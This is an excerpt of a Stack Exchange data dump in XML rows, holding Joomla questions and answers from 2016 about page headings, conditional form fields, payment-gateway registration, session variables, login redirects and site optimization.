  <row Id="17673" PostTypeId="2" ParentId="17668" CreationDate="2016-08-24T17:01:20.603" Score="6" Body="&lt;p&gt;There's no need for all that, although it is a great way to customize core views.  Joomla has support for H1 &amp;amp; H2 tags most certainly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To edit your H1 tag for a page, go to that menu's management page in the back-end.  Once there navigate to the &lt;strong&gt;Page Display&lt;/strong&gt; tab:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/u7p1q.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/u7p1q.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can show the default page heading (which is the menu title) or add a custom version in the text input below.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The H2 tags are controlled at component level, and for articles, would be the article title.&lt;/p&gt;&#xA;" OwnerUserId="1906" LastActivityDate="2016-08-24T17:01:20.603" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="17675" PostTypeId="2" ParentId="17668" CreationDate="2016-08-24T23:58:56.730" Score="3" Body="&lt;p&gt;The above post is correct but I personally ( based on SEO ) like more control. At times I do not use the same title name as the most important text on the page which is what H1 ultimately is. So I hide the title and use the H1 method with the editor. You can style it individually and word it to better match your page content.&lt;a href=&quot;https://i.stack.imgur.com/zV30v.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/zV30v.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="8255" LastActivityDate="2016-08-24T23:58:56.730" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="17676" PostTypeId="2" ParentId="17672" CreationDate="2016-08-25T00:09:12.623" Score="2" Body="&lt;p&gt;With the limited info you provided there are only 2 things that are most likely the reason. &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;your server does not have enough resources and may need an upgrade.&lt;/li&gt;&#xA;&lt;li&gt;you have a php injected script that is constantly running a script&#xA;that uses up the resources.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;I would look at your resources, via control panel server side and see if indeed there are constant php processes running.&lt;/p&gt;&#xA;" OwnerUserId="8255" LastEditorUserId="8255" LastEditDate="2016-09-25T04:35:20.567" LastActivityDate="2016-09-25T04:35:20.567" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17677" PostTypeId="2" ParentId="17644" CreationDate="2016-08-25T00:15:51.853" Score="0" Body="&lt;p&gt;I would be very careful using the lazyload method. I have seen many instances where the content (images) at top do not load until the page scrolls even 1 pixel.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You might consider using scrollfire/magic.. this allows you to load certain content based on where the user is on their scrolling position.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://materializecss.com/scrollfire.html&quot; rel=&quot;nofollow&quot;&gt;http://materializecss.com/scrollfire.html&lt;/a&gt;&#xA;&lt;a href=&quot;http://scrollmagic.io/&quot; rel=&quot;nofollow&quot;&gt;http://scrollmagic.io/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="8255" LastEditorUserId="8255" LastEditDate="2016-08-25T00:21:35.357" LastActivityDate="2016-08-25T00:21:35.357" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17678" PostTypeId="2" ParentId="17631" CreationDate="2016-08-25T00:31:35.980" Score="0" Body="&lt;p&gt;It sounds like it is because you are not loading your custom css link in the head area as the last css file loaded.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I do not suggest using inline as it will bloat file sizes if you plan on using it as a class opposed to a divs id.&lt;/p&gt;&#xA;" OwnerUserId="8255" LastActivityDate="2016-08-25T00:31:35.980" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="17680" PostTypeId="1" CreationDate="2016-08-25T07:18:32.753" Score="1" ViewCount="66" Body="&lt;p&gt;I duplicated the template to make the website multilingual, and I need to edit the new language template's files but I can't find them on the server! where can I find them?&lt;/p&gt;&#xA;" OwnerUserId="8167" LastEditorUserId="126" LastEditDate="2016-11-25T05:46:01.130" LastActivityDate="2016-11-25T05:46:01.130" Title="Duplicated template files" Tags="|joomla-3.x|templates|multilingual|helix3|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17681" PostTypeId="1" AcceptedAnswerId="17682" CreationDate="2016-08-25T08:23:36.753" Score="11" ViewCount="5634" Body="&lt;p&gt;I have 3 fields defined in my XML file like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;field name=&quot;field1&quot; type=&quot;radio&quot; label=&quot;Field 1&quot; class=&quot;btn-group&quot; default=&quot;1&quot;&amp;gt;&#xA;    &amp;lt;option value=&quot;1&quot;&amp;gt;JYES&amp;lt;/option&amp;gt;&#xA;    &amp;lt;option value=&quot;0&quot;&amp;gt;JNO&amp;lt;/option&amp;gt;&#xA;&amp;lt;/field&amp;gt;&#xA;&#xA;&amp;lt;field name=&quot;field2&quot; type=&quot;radio&quot; label=&quot;Field 2&quot; class=&quot;btn-group&quot; default=&quot;1&quot;&amp;gt;&#xA;    &amp;lt;option value=&quot;1&quot;&amp;gt;JYES&amp;lt;/option&amp;gt;&#xA;    &amp;lt;option value=&quot;0&quot;&amp;gt;JNO&amp;lt;/option&amp;gt;&#xA;&amp;lt;/field&amp;gt;&#xA;&#xA;&amp;lt;field name=&quot;field3&quot; type=&quot;radio&quot; label=&quot;Field 3&quot; class=&quot;btn-group&quot; default=&quot;1&quot;&amp;gt;&#xA;    &amp;lt;option value=&quot;1&quot;&amp;gt;JYES&amp;lt;/option&amp;gt;&#xA;    &amp;lt;option value=&quot;0&quot;&amp;gt;JNO&amp;lt;/option&amp;gt;&#xA;&amp;lt;/field&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now what I'd like to do is only show &lt;code&gt;field3&lt;/code&gt; &lt;strong&gt;if&lt;/strong&gt; &lt;code&gt;field1&lt;/code&gt; &lt;strong&gt;and&lt;/strong&gt; &lt;code&gt;field2&lt;/code&gt; are set to &lt;code&gt;1&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="168" LastActivityDate="2017-04-06T09:45:11.733" Title="Form field &quot;showon&quot; with multiple fields" Tags="|joomla-3.x|fields|showon|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17682" PostTypeId="2" ParentId="17681" CreationDate="2016-08-25T08:27:44.663" Score="19" Body="&lt;p&gt;You can chain the attribute values of &lt;code&gt;showon&lt;/code&gt;, using &lt;code&gt;[AND]&lt;/code&gt;, like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;showon=&quot;field1:1[AND]field2:1&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Adding more fields to the chain is also allowed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On a side note, you can use an &lt;code&gt;[OR]&lt;/code&gt; clause in the chain too, adding more complexity, for example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;showon=&quot;field1:1[AND]field2:1[OR]fieldX:1&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;h3&gt;Update for Joomla 3.7:&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;As of Joomla 3.7, you will be able to to use the &lt;code&gt;!&lt;/code&gt; operator (not equal to):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;showon=&quot;field1!:1&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This means, if &lt;code&gt;field1&lt;/code&gt; does &lt;strong&gt;not&lt;/strong&gt; equal &lt;strong&gt;1&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="168" LastEditorUserId="168" LastEditDate="2017-04-06T09:45:11.733" LastActivityDate="2017-04-06T09:45:11.733" CommentCount="10" ContentLicense="CC BY-SA 3.0" />
  <row Id="17683" PostTypeId="2" ParentId="17680" CreationDate="2016-08-25T08:51:40.093" Score="2" Body="&lt;p&gt;all the language files of the frontend side template is located in the language folder.&lt;/p&gt;&#xA;&lt;p&gt;for example if you have protostar template :&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;en-GB.tpl_protostar.ini&lt;/p&gt;&#xA;&lt;p&gt;en-GB.tpl_protostar.sys.ini&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;then these two you can find in the &lt;strong&gt;root/language&lt;/strong&gt; folder.&lt;/p&gt;&#xA;&lt;p&gt;If you have duplicated the template folder, please also make a copy of these two files in the same language folder.&lt;/p&gt;&#xA;&lt;p&gt;Hope it will help.&lt;/p&gt;&#xA;" OwnerUserId="3637" LastEditorUserId="-1" LastEditDate="2020-06-17T09:58:36.810" LastActivityDate="2016-08-25T08:51:40.093" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17685" PostTypeId="2" ParentId="17134" CreationDate="2016-08-25T11:27:49.517" Score="2" Body="&lt;p&gt;If this helps anyone, here is link for Joomla! Documentation site for &lt;a href=&quot;https://docs.joomla.org/Subform_form_field_type&quot; rel=&quot;nofollow&quot;&gt;Subform field&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3348" LastActivityDate="2016-08-25T11:27:49.517" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17686" PostTypeId="2" ParentId="17300" CreationDate="2016-08-25T11:35:21.273" Score="0" Body="&lt;p&gt;I Just disable module called mod_highlighter_gk4 . &#xA;that Solved my problem . &lt;/p&gt;&#xA;" OwnerUserId="8757" LastActivityDate="2016-08-25T11:35:21.273" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17687" PostTypeId="1" AcceptedAnswerId="17691" CreationDate="2016-08-25T11:38:08.967" Score="0" ViewCount="949" Body="&lt;p&gt;I have installed Joomla 3.5. There are a default joomla registration form, image as follows:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/Ra9mp.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Ra9mp.png&quot; alt=&quot;Joomla Registration Form&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I want to integrate Pay-u-money payment gateway and users should enter card details in the same registration form before &quot;Register&quot; buttom. Image as given below:&#xA;&lt;a href=&quot;https://i.stack.imgur.com/s4scv.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/s4scv.png&quot; alt=&quot;Payment Form&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help ?&lt;/p&gt;&#xA;" OwnerUserId="8902" LastEditorUserId="7394" LastEditDate="2016-08-26T12:41:00.473" LastActivityDate="2016-08-26T12:41:00.473" Title="Custom Payment Gateway integration in joomla registration form" Tags="|joomla-3.x|php|subscriptions|membership|payment-gateway|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17688" PostTypeId="2" ParentId="17644" CreationDate="2016-08-25T11:42:57.567" Score="0" Body="&lt;p&gt;You can use sp-pagebuilder. The functionality is there by default. In sp-pagebuilder, goto row settings chose the animation what you want, increase the delay time. U are done.&lt;/p&gt;&#xA;" OwnerUserId="8902" LastActivityDate="2016-08-25T11:42:57.567" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17689" PostTypeId="2" ParentId="17672" CreationDate="2016-08-25T14:39:36.437" Score="2" Body="&lt;p&gt;Although there is limited information, based on the fact this only occurs during times of heavy site traffic, my thought is you've either exceeded your maximum concurrent connection for the Mysql database or the database crashes do to lack of server resources.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Either way, check your database logs. Update your post with them if you need further help.&lt;/p&gt;&#xA;" OwnerUserId="1906" LastActivityDate="2016-08-25T14:39:36.437" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17690" PostTypeId="2" ParentId="17687" CreationDate="2016-08-25T14:53:16.560" Score="0" Body="&lt;p&gt;To accomplish this I've used 3rd party extensions such as Fabrik and ChronoForms to create a custom registration form with a payment plug-in.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Check the sites for these extensions to see if they support Pay-u-money, I know a lot of payment processors are supported.&lt;/p&gt;&#xA;" OwnerUserId="5348" LastActivityDate="2016-08-25T14:53:16.560" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17691" PostTypeId="2" ParentId="17687" CreationDate="2016-08-25T14:57:42.193" Score="1" Body="&lt;p&gt;My answer will reflect the specificity of your &quot;question.&quot;  You need to create to a user plugin and listen to the onContentPrepareForm event so you can inject your custom fields, making sure the context is com_users.registration.  Then u need to hook into the onUserAfterSave or onUserBeforeSave event to capture the entered data and save.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;A point of caution, I highly recommend you do not save customer credit card data in your Joomla database.  You are exposing yourself and your customers to unnecessary liabilities in addition to a whole host of regulatory requirements when dealing with financial data.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you do not simply transfer the client credit card data to your 3rd party payment platform and save a customer reference number for later access, you need to seriously reconsider the vendor you're using!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://docs.joomla.org/Plugin/Events&quot; rel=&quot;nofollow&quot;&gt;Joomla Plugin Events&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1906" LastActivityDate="2016-08-25T14:57:42.193" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17692" PostTypeId="2" ParentId="16804" CreationDate="2016-08-25T21:06:20.287" Score="0" Body="&lt;p&gt;Have you corrected the database in extensions menu? After upgraded your Joomla?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Extensions -&gt; Database -&gt; Fix button&lt;/p&gt;&#xA;" OwnerUserId="8223" LastActivityDate="2016-08-25T21:06:20.287" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="17693" PostTypeId="2" ParentId="10396" CreationDate="2016-08-26T00:49:24.027" Score="0" Body="&lt;p&gt;$result = $dispatcher-&gt;trigger('onCheckAnswer',$input['recaptcha_response_field']);&lt;/p&gt;&#xA;" OwnerUserId="8922" LastActivityDate="2016-08-26T00:49:24.027" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17696" PostTypeId="2" ParentId="8781" CreationDate="2016-08-26T08:13:51.173" Score="0" Body="&lt;ol&gt;&#xA;&lt;li&gt;Include joomla calendar framework before ajax call.(This is php code JHtml::_('behavior.calendar');)&lt;/li&gt;&#xA;&lt;li&gt;Put following Script function and call after ajax response.&#xA;Just Pass id of input without '#' character that you want to make calendar control&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;pre&gt;&#xA;&#xA;    function set_calendar(input_field_id)&#xA;    {&#xA;        Calendar.setup({&#xA;                // Id of the input field&#xA;                inputField: input_field_id,&#xA;                // Format of the input field&#xA;                ifFormat: &quot;%Y-%m-%d&quot;,&#xA;                // Trigger for the calendar (button ID)&#xA;                button: input_field_id+&quot;_img&quot;,&#xA;                // Alignment (defaults to &quot;Bl&quot;)&#xA;                align: &quot;Tl&quot;,&#xA;                singleClick: true,&#xA;                firstDay: 0&#xA;                });&#xA;    }&#xA;&#xA;&lt;/pre&gt;&#xA;" OwnerUserId="8926" LastActivityDate="2016-08-26T08:13:51.173" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17699" PostTypeId="1" CreationDate="2016-08-26T10:56:38.623" Score="0" ViewCount="46" Body="&lt;p&gt;I want to change the content of a specific article by the time user login.&#xA;  So I create a plugin and put my code inside onUserLogin(), the problem is how do I get the content of this specific article? and if I change the content of the module, will use see the effect immediately?  An example cold would be much appreciated. Thanks is advance.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Best Regards&#xA;Scott&lt;/p&gt;&#xA;" OwnerUserId="8889" LastActivityDate="2016-08-30T22:53:29.717" Title="Change Logo image file after user login" Tags="|joomla-3.x|articles|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="17701" PostTypeId="1" CreationDate="2016-08-26T12:28:06.720" Score="0" ViewCount="157" Body="&lt;p&gt;Hello all Joomla StackExchange users,&#xA;I am developing I site which is particularly complex and uses a lot of CSS and JS assets to work properly. Usually, I would fine tune JCH Optimize to get the work done, but I feel this time I need some extra work in order to get the best load times with this site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The question is, would &lt;a href=&quot;https://joomla-extensions.kubik-rubik.de/jcc-js-css-control&quot; rel=&quot;nofollow&quot;&gt;JCC&lt;/a&gt; configured to remove all JS and CSS and load a single file can be faster/better than fine tuned JCH Optimize?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The plan is simple. For CSS:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Build a single non minified CSS file&lt;/li&gt;&#xA;&lt;li&gt;JCC removes all loading CSS&lt;/li&gt;&#xA;&lt;li&gt;Clean/comment out CSS from unused stuff (Dust-Me Selectors)&lt;/li&gt;&#xA;&lt;li&gt;Build CSS Critical Path (and remove this CSS from the main CSS)&lt;/li&gt;&#xA;&lt;li&gt;Minify CSS stylesheet&lt;/li&gt;&#xA;&lt;li&gt;Set the only one minified CSS as non blocking asset.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;For JS:&#xA; - Build a single non minified JS file, without libraries&#xA; - JCC remove all loading JS&#xA; - Async load minified libraries from extrenal CDNs (mainly jQuery, jQuery UI in some rare cases)&#xA; - Minify JS with Google Closure Compiler&#xA; - JCC serves the one and only JS file.&lt;/p&gt;&#xA;" OwnerUserId="8923" LastEditorUserId="7394" LastEditDate="2016-08-26T13:09:36.767" LastActivityDate="2016-08-26T13:30:30.723" Title="Extreme Joomla Optimization" Tags="|joomla-3.x|javascript|css|performance|wpo|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17702" PostTypeId="2" ParentId="17687" CreationDate="2016-08-26T12:39:31.277" Score="0" Body="&lt;p&gt;Maybe you can try to complement and extend this with one extension, in this case you can find some options in the Extensions Directory, here you have the main category:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://extensions.joomla.org/category/e-commerce/membership-a-subscriptions&quot; rel=&quot;nofollow&quot;&gt;Membership &amp;amp; Subscriptions&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Two popular extensions are &lt;a href=&quot;http://extensions.joomla.org/extensions/extension/e-commerce/membership-a-subscriptions/membership-pro&quot; rel=&quot;nofollow&quot;&gt;Membership Pro&lt;/a&gt; and &lt;a href=&quot;http://extensions.joomla.org/extensions/extension/e-commerce/membership-a-subscriptions/payplans&quot; rel=&quot;nofollow&quot;&gt;PayPlans&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;I am not affiliated with any of the extensions mentioned&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="7394" LastActivityDate="2016-08-26T12:39:31.277" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17703" PostTypeId="2" ParentId="17701" CreationDate="2016-08-26T13:08:56.070" Score="0" Body="&lt;p&gt;You can't do this with one single extension, or two... in this case the requirement and the optimization involves more than a simple installation and configuration of extensions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The answer is not short for some of the points listed, and also depends on your current configuration, both the site and your server. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You've already listed the points that you need to optimize, the best recommendation is to&lt;br/&gt; look one by one the topics but for example the requirement  &lt;strong&gt;&lt;em&gt;For JS: - Build a single non&lt;br/&gt; minified JS file, without libraries&lt;/em&gt;&lt;/strong&gt; is not possible from a technical point of view in Joomla!.&lt;/p&gt;&#xA;" OwnerUserId="7394" LastActivityDate="2016-08-26T13:08:56.070" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17704" PostTypeId="2" ParentId="17701" CreationDate="2016-08-26T13:30:30.723" Score="1" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;The question is, would JCC configured to remove all JS and CSS and&#xA;  load a single file can be faster/better than fine tuned JCH Optimize?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;This question can't be answered. Only if you do both and compare them you will know. But in theory, the scenario you described above does make sense, and in many cases I go a similar way for speed optimization. What and how exactly will work best in practice depends on the exact characteristics of the website and the final implementation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, if you don't need all js/css in every page, it might be better to separate them and exclude them on those pages.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Finally keep in mind, that a fast loading website is not only about satisfying metrics on speed-testing crawlers, but the real user experience. Sometimes trying to reach the highest scores on such crawlers, may result to the opposite.&lt;/p&gt;&#xA;" OwnerUserId="126" LastActivityDate="2016-08-26T13:30:30.723" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17705" PostTypeId="2" ParentId="10767" CreationDate="2016-08-26T13:56:24.633" Score="1" Body="&lt;p&gt;see link:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://stackoverflow.com/questions/17988998/joomla-get-subcategories-of-custom-parent-category&quot;&gt;https://stackoverflow.com/questions/17988998/joomla-get-subcategories-of-custom-parent-category&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$catID = JRequest::getVar('id');&#xA;$categories = JCategories::getInstance('Content');&#xA;$cat = $categories-&amp;gt;get($catID);&#xA;$children = $cat-&amp;gt;getChildren();&#xA;print_r($children);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2120" LastEditorUserId="-1" LastEditDate="2017-05-23T12:38:51.907" LastActivityDate="2016-08-26T13:56:24.633" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17706" PostTypeId="1" CreationDate="2016-08-26T15:40:46.833" Score="2" ViewCount="251" Body="&lt;p&gt;I need to pass some variables from &lt;code&gt;one PHP module&lt;/code&gt; to &lt;code&gt;another PHP module&lt;/code&gt; within a loop and at the same time display the module multiple times as well. I use &lt;code&gt;Joomla sessions&lt;/code&gt; for passing variables and its giving me some trouble. Only the &lt;strong&gt;last value&lt;/strong&gt; of the variable gets passed to the second module, meaning only the value attained by a variable when the &lt;code&gt;loop is over&lt;/code&gt; is passed to the second module even though I use &lt;code&gt;sessions within the loop.&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;First Module&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;for ($i=1;$i&amp;lt;5;$i++) &#xA;{&#xA;    $session = JFactory::getSession();&#xA;    $session-&amp;gt;set('number', $i);&#xA;&#xA;    // calling second module by position&#xA;&#xA;    $modules = JModuleHelper::getModules(&quot;second-position&quot;);&#xA;    foreach($modules as $mod)&#xA;      {&#xA;         echo JModuleHelper::renderModule($mod, $attribs);&#xA;      }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;Second Module&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$session = JFactory::getSession();&#xA;$x = $session-&amp;gt;get('number');&#xA;&#xA;echo $x;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;Output, I get&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;4&lt;/code&gt;&#xA;&lt;code&gt;4&lt;/code&gt;&#xA;&lt;code&gt;4&lt;/code&gt;&#xA;&lt;code&gt;4&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;Desired Output&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;1&lt;/code&gt;&#xA;&lt;code&gt;2&lt;/code&gt;&#xA;&lt;code&gt;3&lt;/code&gt;&#xA;&lt;code&gt;4&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What's wrong, and how to correct it?&#xA;Thanks in advance.&lt;/p&gt;&#xA;" OwnerUserId="383" LastActivityDate="2016-08-28T14:15:11.693" Title="Joomla sessions within a loop passing only a single value" Tags="|php|jsession|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="17707" PostTypeId="1" CreationDate="2016-08-26T15:47:27.967" Score="1" ViewCount="503" Body="&lt;p&gt;In my extension I am trying to implement the redirection after login outlined here (using the 'return' parameter):&#xA;&lt;a href=&quot;https://docs.joomla.org/How_do_you_redirect_users_after_a_successful_login%3F&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/How_do_you_redirect_users_after_a_successful_login%3F&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My link to the login page is built correctly, and the return parameter is passed. I've double-confirmed that the destination link that is encoded is correct. But after login, it redirects to the user profile page instead of my desired location. I've checked the following:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;menu item created for the login form set to use the &quot;default&quot; redirection -- which should allow an override&lt;/li&gt;&#xA;&lt;li&gt;no other plugins that would potentially be controlling the redirection&lt;/li&gt;&#xA;&lt;li&gt;SEF is enabled, though I've tried accessing the login page via both the SEF and non-SEF version and neither works&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;this issue is about the closest to what I'm seeing:&#xA;&lt;a href=&quot;https://joomla.stackexchange.com/questions/16119/redirect-users-to-the-page-pointed-in-the-url-after-login&quot;&gt;Redirect users to the page pointed in the URL after login&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It seems to suggest that the &quot;return=&quot; method is no longer working -- that you can't pass that param via $_GET.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;can anyone:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;provide suggestions for troubleshooting&lt;/li&gt;&#xA;&lt;li&gt;confirm if the return method is still valid?&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="2316" LastEditorUserId="-1" LastEditDate="2017-04-13T12:50:35.780" LastActivityDate="2016-09-26T08:44:33.953" Title="unable to override redirection after login" Tags="|login|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17708" PostTypeId="2" ParentId="17707" CreationDate="2016-08-26T18:36:49.493" Score="1" Body="&lt;p&gt;This may not answer your question fully since your situation is different - you are working on your own extension and I was just trying to use the User Log In Menu Type redirect fields but...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This morning I was pulling out my hair trying to get the redirect to work and it wasn't working for me. On top of that, it worked fine on the &quot;dev&quot; copy of the site, I was going crazy trying to figure out what's different between the two.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I then found this - &lt;a href=&quot;https://issues.joomla.org/tracker/joomla-cms/11176#event-183024&quot; rel=&quot;nofollow&quot;&gt;https://issues.joomla.org/tracker/joomla-cms/11176#event-183024&lt;/a&gt; and it solved my problem. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Quoting from the link above:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;In 3.6, it is advised to always use the Menu Item field and not the&#xA;  internal URL. There can't be any error as it is simply the itemID of&#xA;  the menu item which is appended to the index.php? (+ the language in&#xA;  multilingual sites). If one has access to that menu item, then it will&#xA;  work fine.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;So, I just used &quot;index.php?Itemid=xxx&quot; for the link and the redirect started working fine for me. Put the ID of the menu item you'd like to be redirected to.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hopefully this helps someone else.&lt;/p&gt;&#xA;" OwnerUserId="5348" LastActivityDate="2016-08-26T18:36:49.493" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
